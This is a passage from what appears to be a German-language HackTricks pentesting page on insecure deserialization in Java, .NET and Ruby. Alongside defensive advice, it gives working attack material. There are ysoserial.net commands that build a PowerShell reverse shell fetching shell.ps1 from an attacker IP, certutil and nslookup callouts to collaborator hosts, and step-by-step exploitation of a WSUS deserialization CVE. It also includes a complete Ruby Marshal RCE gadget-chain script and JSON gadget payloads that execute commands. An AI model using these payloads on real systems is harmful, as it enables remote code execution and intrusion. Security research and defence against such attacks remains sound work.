Eine Klasse, die Serializable implementiert, kann jedes Objekt innerhalb der Klasse als transient deklarieren, das nicht serialisierbar sein soll. Zum Beispiel:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermeide die Serialisierung einer Klasse, die Serializable implementieren muss

In Szenarien, in denen bestimmte Objekte aufgrund der Klassenhierarchie die Serializable-Schnittstelle implementieren müssen, besteht das Risiko einer unbeabsichtigten Deserialisierung. Um dies zu verhindern, sorgen Sie dafür, dass diese Objekte nicht deserialisierbar sind, indem Sie eine final readObject()-Methode definieren, die konsequent eine Ausnahme wirft, wie unten gezeigt:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbesserung der Deserialisierungs-Sicherheit in Java

Anpassen von java.io.ObjectInputStream ist ein praktischer Ansatz, um Deserialisierungsprozesse abzusichern. Diese Methode eignet sich, wenn:

  • Der Code zur Deserialisierung unter Ihrer Kontrolle steht.
  • Die erwarteten Klassen für die Deserialisierung bekannt sind.

Überschreiben Sie die resolveClass()-Methode, um die Deserialisierung ausschließlich auf erlaubte Klassen zu beschränken. Dadurch wird die Deserialisierung jeder Klasse verhindert, außer derjenigen, die ausdrücklich erlaubt ist, wie im folgenden Beispiel, das die Deserialisierung auf die Klasse Bicycle beschränkt:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement bietet eine Fallback-Lösung, wenn Codeänderungen nicht möglich sind. Diese Methode gilt hauptsächlich für blacklisting harmful classes, indem ein JVM-Parameter verwendet wird:

-javaagent:name-of-agent.jar

Es bietet eine Möglichkeit, Deserialisierung dynamisch abzusichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.

Check and example in rO0 by Contrast Security

Implementierung von Serialisierungsfiltern: Java 9 führte Serialisierungsfilter über das ObjectInputFilter-Interface ein, das einen leistungsfähigen Mechanismus bietet, um Kriterien festzulegen, die serialisierte Objekte erfüllen müssen, bevor sie deserialisiert werden. Diese Filter können global oder pro Stream angewendet werden und bieten eine feingranulare Kontrolle über den Deserialisierungsprozess.

Um Serialisierungsfilter zu verwenden, können Sie einen globalen Filter setzen, der für alle Deserialisierungsoperationen gilt, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Nutzung externer Bibliotheken zur verbesserten Sicherheit: Bibliotheken wie NotSoSerial, jdeserialize und Kryo bieten erweiterte Funktionen zur Kontrolle und Überwachung von Java-Deserialisierung. Diese Bibliotheken können zusätzliche Sicherheitsebenen liefern, z. B. Whitelisting oder Blacklisting von Klassen, Analyse serialisierter Objekte vor der Deserialisierung und Implementierung benutzerdefinierter Serialisierungsstrategien.

  • NotSoSerial unterbricht Deserialisierungsprozesse, um die Ausführung nicht vertrauenswürdigen Codes zu verhindern.
  • jdeserialize ermöglicht die Analyse serialisierter Java-Objekte ohne deren Deserialisierung und hilft so, potenziell bösartigen Inhalt zu identifizieren.
  • Kryo ist ein alternatives Serialisierungs-Framework, das Geschwindigkeit und Effizienz betont und konfigurierbare Serialisierungsstrategien bietet, die die Sicherheit erhöhen können.

References

JNDI Injection & log4Shell

Finde, was JNDI Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt (inkl. Beispiel dieser vuln) auf der folgenden Seite:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

Es gibt mehrere Produkte, die dieses Middleware verwenden, um Nachrichten zu versenden:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Also, im Grunde gibt es eine Menge von Services, die JMS auf eine gefährliche Weise verwenden. Daher, wenn du genügend Berechtigungen hast, Nachrichten an diese Services zu senden (in der Regel brauchst du gültige Zugangsdaten), könntest du in der Lage sein, bösartige serialisierte Objekte zu senden, die vom Consumer/Subscriber deserialisiert werden.
Das bedeutet, dass in diesem Exploit alle Clients, die diese Nachricht verwenden, infiziert werden.

Du solltest bedenken, dass selbst wenn ein Service verwundbar ist (weil er Benutzereingaben unsicher deserialisiert), du trotzdem gültige Gadgets finden musst, um die Verwundbarkeit auszunutzen.

Das Tool JMET wurde erstellt, um sich mit diesen Services zu verbinden und sie anzugreifen, indem mehrere bösartige serialisierte Objekte mit bekannten Gadgets gesendet werden. Diese Exploits funktionieren, wenn der Service noch verwundbar ist und wenn eines der verwendeten Gadgets in der verwundbaren Anwendung vorhanden ist.

References

.Net

Im Kontext von .Net funktionieren Deserialisierungs-Exploits ähnlich wie in Java, wobei Gadgets ausgenutzt werden, um während der Deserialisierung eines Objekts spezifischen Code auszuführen.

Fingerprint

WhiteBox

Der Quellcode sollte auf Vorkommen von:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

untersucht werden.

Der Fokus sollte auf Serializern liegen, die erlauben, dass der Typ durch eine Variable bestimmt wird, die unter Benutzerkontrolle steht.

BlackBox

Die Suche sollte auf die Base64-codierte Zeichenfolge AAEAAAD///// oder auf ein ähnliches Muster abzielen, das serverseitig deserialisiert werden könnte und die Kontrolle über den zu deserialisierenden Typ ermöglicht. Dies könnte, muss aber nicht beschränkt sein auf, JSON- oder XML-Strukturen mit TypeObject oder $type.

ysoserial.net

In diesem Fall kannst du das Tool ysoserial.net verwenden, um Deserialisierungs-Exploits zu erstellen. Sobald du das Git-Repository heruntergeladen hast, solltest du das Tool z. B. mit Visual Studio kompilieren.

Wenn du lernen willst, wie ysoserial.net seine Exploits erstellt, kannst du diese Seite prüfen, auf der das ObjectDataProvider-Gadget + ExpandedWrapper + Json.Net formatter erklärt werden.

Die Hauptoptionen von ysoserial.net sind: --gadget, --formatter, --output und --plugin.

  • --gadget wird verwendet, um das zu missbrauchende Gadget anzugeben (die Klasse/Funktion angeben, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
  • --formatter, wird verwendet, um die Methode anzugeben, mit der der Exploit serialisiert wird (du musst wissen, welche Bibliothek das Backend zur Deserialisierung verwendet und dieselbe zum Serialisieren verwenden).
  • --output wird verwendet, um anzugeben, ob du den Exploit im raw oder base64 kodierten Format haben möchtest. Beachte, dass ysoserial.net die Nutzlast mit UTF-16LE kodiert (Kodierung, die standardmäßig unter Windows verwendet wird), also wenn du das raw erhältst und es einfach von einer Linux-Konsole aus kodierst, könntest du einige Kodierungskompatibilitätsprobleme bekommen, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer so sein wird).
  • --plugin ysoserial.net unterstützt Plugins, um Exploits für spezifische Frameworks wie ViewState zu erstellen.

More ysoserial.net parameters

  • --minify liefert eine kleinere Nutzlast (wenn möglich)
  • --raf -f Json.Net -c "anything" Dies zeigt alle Gadgets an, die mit einem angegebenen Formatter (Json.Net in diesem Fall) verwendet werden können
  • --sf xml du kannst ein Gadget angeben (-g) und ysoserial.net wird nach Formatters suchen, die “xml” enthalten (Groß-/Kleinschreibung ignoriert)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net hat außerdem einen sehr interessanten Parameter, der dabei hilft, besser zu verstehen, wie jeder exploit funktioniert: --test
Wenn du diesen Parameter angibst, wird ysoserial.net versuchen, den exploit lokal auszuführen, sodass du testen kannst, ob dein payload korrekt funktioniert.
Dieser Parameter ist hilfreich, weil du beim Durchsehen des Codes Abschnitte wie den folgenden findest (aus ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Das bedeutet, dass der code, um den exploit zu testen, serializersHelper.JsonNet_deserialize aufruft

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Daher ermöglicht uns der --test-Parameter zu verstehen, welche Codeabschnitte gegenüber dem desrialization exploit sind, den ysoserial.net erzeugen kann.

ViewState

Take a look to this POST about how to try to exploit the __ViewState parameter of .Net to beliebigen Code auszuführen. Wenn Sie bereits die Secrets kennen, die von der Zielmaschine verwendet werden, read this post to know to execute code.

Echte Schwachstelle: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Betroffene Endpunkte:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie entschlüsselt und dann mit BinaryFormatter deserialisiert.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
  • Ursache: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).

Minimale Ausnutzung (Reporting-Pfad):

  1. Erzeuge ein .NET-Gadget mit ysoserial.net (BinaryFormatter oder SoapFormatter) und gib base64 aus, zum Beispiel:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Erstelle SOAP für ReportEventBatch, das das base64 gadget einbettet, und sende es per POST an /ReportingWebService.asmx.
  2. Wenn ein Admin die WSUS-Konsole öffnet, wird das Event deserialisiert und das gadget ausgelöst (RCE als SYSTEM).

AuthorizationCookie / GetCookie()

  • Ein gefälschtes AuthorizationCookie kann akzeptiert, entschlüsselt und an einen BinaryFormatter-Sink übergeben werden, wodurch pre‑auth RCE ermöglicht wird, falls erreichbar.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

Siehe Windows Local Privilege Escalation – WSUS

Prävention

To mitigate the risks associated with deserialization in .Net:

  • Avoid allowing data streams to define their object types. Utilize DataContractSerializer or XmlSerializer when possible.
  • For JSON.Net, set TypeNameHandling to None: TypeNameHandling = TypeNameHandling.None
  • Avoid using JavaScriptSerializer with a JavaScriptTypeResolver.
  • Limit the types that can be deserialized, understanding the inherent risks with .Net types, such as System.IO.FileInfo, which can modify server files’ properties, potentially leading to denial of service attacks.
  • Be cautious with types having risky properties, like System.ComponentModel.DataAnnotations.ValidationException with its Value property, which can be exploited.
  • Securely control type instantiation to prevent attackers from influencing the deserialization process, rendering even DataContractSerializer or XmlSerializer vulnerable.
  • Implement white list controls using a custom SerializationBinder for BinaryFormatter and JSON.Net.
  • Stay informed about known insecure deserialization gadgets within .Net and ensure deserializers do not instantiate such types.
  • Isolate potentially risky code from code with internet access to avoid exposing known gadgets, such as System.Windows.Data.ObjectDataProvider in WPF applications, to not trusted data sources.

Referenzen

Ruby

In Ruby wird die Serialisierung durch zwei Methoden der marshal-Library ermöglicht. Die erste Methode, bekannt als dump, wird verwendet, um ein Objekt in einen Bytestrom zu transformieren. Dieser Prozess wird als Serialisierung bezeichnet. Im Gegensatz dazu wird die zweite Methode, load, verwendet, um einen Bytestrom wieder in ein Objekt zurückzuverwandeln, ein Prozess, der als Deserialisierung bezeichnet wird.

Zum Schutz serialisierter Objekte verwendet Ruby HMAC (Hash-Based Message Authentication Code), um die Integrität und Authentizität der Daten sicherzustellen. Der dafür verwendete Schlüssel wird an einem der folgenden Orte gespeichert:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X allgemeine Deserialisierungs-zu-RCE-Gadget-Kette (mehr Info in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() Methode

Wie in this vulnerability report erklärt, erlaubt die .send()-Methode eines ruby-Objekts, sofern unsanitized input eines Nutzers sie erreicht, jede andere Methode des Objekts mit beliebigen Parametern aufzurufen.

Beispielsweise erlaubt das Aufrufen von eval und das Übergeben von ruby code als zweitem Parameter die Ausführung beliebigen Codes:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Außerdem, wenn nur ein einziger Parameter von .send() vom attacker kontrolliert wird, wie im vorherigen writeup erwähnt, ist es möglich, jede Methode des Objekts aufzurufen, die keine Argumente benötigt oder deren Argumente Standardwerte haben.
Dazu kann man alle Methoden des Objekts aufzählen, um einige interessante Methoden zu finden, die diese Anforderungen erfüllen.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Prüfe, wie es möglich sein könnte, pollute a Ruby class and abuse it in here.

Ruby _json pollution

Wenn im Body einige Werte gesendet werden, die nicht hashable sind, wie ein array, werden sie in einen neuen Schlüssel namens _json eingefügt. Es ist jedoch möglich, dass ein Angreifer im Body einen Wert namens _json mit beliebigen Werten setzt. Wenn das Backend beispielsweise die Echtheit eines Parameters prüft, aber dann auch den _json-Parameter verwendet, um eine Aktion auszuführen, könnte eine Autorisierungsumgehung erfolgen.

Weitere Informationen findest du auf der Ruby _json pollution page.

Andere Bibliotheken

Diese Technik wurde from this blog post übernommen.

Es gibt weitere Ruby-Bibliotheken, die zur Serialisierung von Objekten verwendet werden können und die daher bei unsicherer Deserialisierung für RCE missbraucht werden könnten. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die in der geladenen Klasse aufgerufen wird, sobald sie deserialisiert wird (Funktion, die man im Grunde ausnutzen kann, um RCE zu erreichen):

BibliothekEingabedatenAusgelöste Methode innerhalb der Klasse
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basic example:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Beim Versuch, Oj auszunutzen, war es möglich, eine gadget class zu finden, die in ihrer hash-Funktion to_s aufruft; to_s ruft spec auf; spec ruft fetch_path auf — und letztere konnte so manipuliert werden, dass sie eine zufällige URL abruft, wodurch ein guter Detektor für diese Art von unsanitized deserialization vulnerabilities entsteht.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Außerdem wurde festgestellt, dass mit der vorherigen Technik ein Ordner im System erstellt wird, was eine Voraussetzung ist, um ein anderes gadget auszunutzen und dies in eine vollständige RCE zu verwandeln, beispielsweise mit:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Die File-Upload-Funktionalität der Rails-App erlaubt einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind aufgrund des nicht-root Users von Docker schreibbar), erlaubt dies dennoch das Schreiben in das Bootsnap-Cache-Verzeichnis (typischerweise unter tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap beschleunigt Rails-Startzeiten, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen cache key header enthalten (mit Feldern wie Ruby version, file size, mtime, compile options usw.), gefolgt vom kompilierten Code. Dieser Header wird bei App-Start zur Validierung des Caches verwendet.

  • Gather File Metadata

Der Angreifer wählt zuerst eine Zieldatei aus, die wahrscheinlich beim Rails-Start geladen wird (z. B. set.rb aus Ruby’s standard library). Durch Ausführen von Ruby-Code innerhalb des Containers extrahiert er kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, size, mtime und compile_option). Diese Daten sind essentiell, um einen gültigen cache key zu erstellen.

  • Compute the Cache File Path

Indem man Bootsnap’s FNV-1a 64-bit hash mechanism repliziert, wird der korrekte Cache-Dateipfad bestimmt. Dieser Schritt stellt sicher, dass die bösartige Cache-Datei genau dort platziert wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Der Angreifer bereitet ein Payload vor, das:

  • Executes arbitrary commands (for example, running id to show process info).
  • Removes the malicious cache after execution to prevent recursive exploitation.
  • Loads the original file (e.g., set.rb) to avoid crashing the application.

Dieses Payload wird in binären Ruby-Code kompiliert und mit einem sorgfältig konstruierten cache key header verkettet (unter Verwendung der zuvor gesammelten Metadaten und der korrekten Versionsnummer für Bootsnap).

  • Overwrite and Trigger Execution

Mit der arbitrary file write vulnerability schreibt der Angreifer die erstellte Cache-Datei an den berechneten Ort. Anschließend löst er einen Serverneustart aus (indem er in tmp/restart.txt schreibt, das von Puma überwacht wird). Beim Neustart, wenn Rails die angestrebte Datei required, wird die bösartige Cache-Datei geladen, was zu remote code execution (RCE) führt.

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Gängige Gadget-Klassen, die in realen Chains zu sehen sind: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Typischer Side-Effect-Marker, eingebettet in payloads (während unmarshal ausgeführt):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Wo es in realen Apps auftritt:

  • Rails cache stores und session stores historisch mit Marshal
  • Background job backends und file-backed object stores
  • Jede benutzerdefinierte Persistenz oder der Transport von binären Objekt-Blobs

Industrielle Gadget-Erkennung:

  • Grep nach Konstruktoren, hash, _load, init_with oder nebenwirkungsbehafteten Methoden, die während des unmarshal aufgerufen werden
  • Verwende CodeQL’s Ruby unsafe deserialization queries, um sources → sinks nachzuverfolgen und gadgets aufzudecken
  • Validiere mit öffentlichen Multi-Format-PoCs (JSON/XML/YAML/Marshal)

Referenzen

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks